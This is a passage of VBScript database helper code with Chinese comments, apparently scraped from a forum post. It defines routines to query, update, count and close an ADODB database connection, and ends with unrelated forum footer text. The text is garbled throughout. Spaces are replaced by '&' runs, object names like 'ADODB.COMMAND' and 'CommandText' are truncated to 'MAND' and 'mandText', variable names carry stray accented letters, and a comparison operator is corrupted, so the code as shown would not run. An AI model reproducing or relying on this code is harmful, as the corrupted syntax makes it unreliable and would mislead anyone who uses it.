& & & & & & & && && && && && && & & && &&&Case Else & && && && &MsgBox "输入的数据库类型格式有误" & vbCrLf & "支持的数据库类型格式:ORACLE;DB2;SQL;ACCESS;EXCEL"& & End Select & & & & If (objConnection.State = 0) Then& && &&&MsgBox "连接数据库失败!"& & End If & & End Sub' ********************************************************************' 函数说明:查询数据库(查询单列);' 参数说明:&&(1)strSql:SQL语句'& && && &&&(2)strFieldName:字段名'& && && &&&(3)str_Array_QueryResult:数组名(用来返回单列查询结果)' 返回结果:&&intArrayLength:查询数据库返回的记录行数'& && && &&&str_Array_QueryResult:数组名(用来返回单列查询结果)' 调用方法: intArrayLength = QueryDatabase(strSql, strFieldName, str_Array_QueryResult)' ********************************************************************Function QueryDatabase(strSql, strFieldName, str_Array_QueryResult)& & Dim intArrayLength & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & && &&&'数组长度& &&&Dim i& & & & i = 0& && & str_Array_QueryResult = Array()& & & & & & & & & & & & & & & & '重新初始化数组为一个空数组& & & & Set ōbjRecordSet = CreateObject("ADODB.RECORDSET")& & & & & & & & '4 - 建立RECORDSET对象实例& & Set ōbjCommand = CreateObject("MAND")& && && && &&&'5 - 建立COMMAND对象实例& & objCommand.ActiveConnection = objConnection& & mandText = strSql& & & & objRecordSet.CursorLocation = 3& & & & objRecordSet.Open objCommand& && && && && && && && && & '6 - 执行SQL语句,将结果保存在RECORDSET对象实例中& & & & intArrayLength = objRecordSet.RecordCount&&& & & & & & & & '将查询结果的行数作为数组的长度& & & & If intArrayLength & 0 Then& & & & & & & & ReDim str_Array_QueryResult(intArrayLength-1)& & & & & & & & & & & & & & & & Do While NOT objRecordSet.EOF& && &&&& & & & & & & & & & & & & & & & & & & & '将数据库查询的列值赋值给数组& && && && & & & & & & & & && &&&str_Array_QueryResult(i) = objRecordSet(strFieldName)& & & & & & & & & & & & 'Debug.WriteLine str_Array_QueryResult(i)& & & & & & & & & & & & objRecordSet.MoveNext& & & & & & & & & & & & i = i + 1& & & & & & & & Loop'& & & & Else& & & & & & & & 'ReDim str_Array_QueryResult(0)& && & & & & & & & & & 'str_Array_QueryResult(0) = ""& &&&& & End If & & & & QueryDatabase = intArrayLengthEnd Function' ********************************************************************' 函数说明:更新数据库;包括INSERT、DELETE 和 UPDATE操作' 参数说明:(1)strSql:SQL语句' 返回结果:无' 调用方法: UpdateDatabase(strSql)' ********************************************************************Sub UpdateDatabase(strSql)& & & & Dim objCommand& & & & Dim objField& & & & & & & & & & & & Set ōbjCommand = CreateObject("MAND")& & & & Set ōbjRecordSet = CreateObject("ADODB.RECORDSET")& & & & mandText = strSql& & & & objCommand.ActiveConnection = objConnection& & & & Set ōbjRecordSet = objCommand.Execute& & & & '& & & & Do Until objRecordSet.EOF& & & & '& & & & & & & & For Each objField In objRecordSet.Fields'& & & & & & & & & & & & Debug.Write objField.Name & ": " & objField.Value & "& &"'& & & & & & & & Next& & & & & & & & '& & & & & & & & objRecordSet.MoveNext'& & & & & & & & Debug.WriteLine'& & & & Loop& & & & & & & & & & & & Set ōbjCommand = Nothing& & & & Set ōbjRecordSet = Nothing& & & & & & & & End Sub ' ********************************************************************' 函数说明:返回符合查询结果的列的长度' 参数说明:(1)strSql:SQL语句' 返回结果:返回符合查询结果的列的长度' 调用方法: MaxLength = GetLenOfField(strSql)' ********************************************************************Function GetLenOfField(strSql)& & '如果SQL语句为空,则默认返回的列长度为0,结束函数;否则返回列的实际长度& & If strSql = "" Then& && &&&GetLenOfField&&= 0& & & & & & & & Exit Function& & Else& & & && &&&Set ōbjRecordSet = CreateObject("ADODB.RECORDSET")& & & & & & & & & & & & '4 - 建立RECORDSET对象实例& & & && &&&Set ōbjCommand = CreateObject("MAND")& && && && &&&'5 - 建立COMMAND对象实例& & & && &&&objCommand.ActiveConnection = objConnection& & & && &&&mandText = strSql& & & & & & & & objRecordSet.CursorLocation = 3& & & & & & & & objRecordSet.Open objCommand& && && && && && && && && && &&&'6 - 执行SQL语句,将结果保存在RECORDSET对象实例中& & & && &&&& & & && &&&GetLenOfField = objRecordSet.RecordCount&&& & & & & & & & & & & && &&&'返回符合查询结果的列的长度& & & & & & & & & & & & Set ōbjCommand = Nothing& & & & & & & & & & & & Set ōbjRecordSet = Nothing& & & & End If End Function' ********************************************************************' 函数说明:关闭数据库连接;' 参数说明:无' 返回结果:无' 调用方法: CloseDatabase()' ********************************************************************Sub CloseDatabase()& & objRecordSet.Close& & objConnection.Close& & & & Set ōbjCommand = Nothing& & Set ōbjRecordSet = Nothing& & Set ōbjConnection = NothingEnd Sub

我要回帖

更多关于 显卡有问题怎么办 的文章

 

随机推荐